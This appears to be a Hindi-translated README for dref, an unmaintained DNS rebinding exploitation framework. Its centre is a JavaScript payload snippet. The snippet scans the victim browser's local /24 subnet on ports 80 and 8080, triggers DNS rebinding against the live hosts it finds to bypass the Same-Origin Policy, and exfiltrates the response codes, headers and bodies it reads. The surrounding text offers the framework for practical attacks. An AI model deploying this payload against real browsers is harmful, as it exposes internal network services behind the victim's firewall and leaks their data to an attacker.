
DNS पुनःबंधन शोषण ढांचा
DNS रीबाइंडिंग शोषण ढांचा
यह प्रोजेक्ट अब अनुरक्षित नहीं है।
dref DNS रीबाइंडिंग के लिए भारी काम करता है। नीचे इसके अंतर्निहित पेलोड में से एक स्निपेट दिखाता है कि कैसे ढांचे का उपयोग एक संलग्न ब्राउज़र से स्थानीय सबनेट को स्कैन करने के लिए किया जाता है; लाइव वेब सेवाओं की पहचान करने के बाद यह GET प्रतिक्रियाओं को बाहर निकालता है, समान-उत्पत्ति नीति को आसानी से पार करता है:
// mainFrame() runs first
async function mainFrame () {
// We use some tricks to derive the browser's local /24 subnet
const localSubnet = await network.getLocalSubnet(24)
// We use some more tricks to scan a couple of ports across the subnet
netmap.tcpScan(localSubnet, [80, 8080]).then(results => {
// We launch the rebind attack on live targets
for (let h of results.hosts) {
for (let p of h.ports) {
if (p.open) session.createRebindFrame(h.host, p.port)
}
}
})
}
// rebindFrame() will have target ip:port as origin
function rebindFrame () {
// After this we'll have bypassed the Same-Origin policy
session.triggerRebind().then(() => {
// We can now read the response across origin...
network.get(session.baseURL, {
successCb: (code, headers, body) => {
// ... and exfiltrate it
session.log({code: code, headers: headers, body: body})
}
})
})
}
आरंभ करने के लिए विकी पर जाएं या एक व्यावहारिक उपयोग मामले के लिए हेडलेस ब्राउज़रों पर dref के हमले को देखें।
यह एक विकास रिलीज़ है - उत्पादन में उपयोग न करें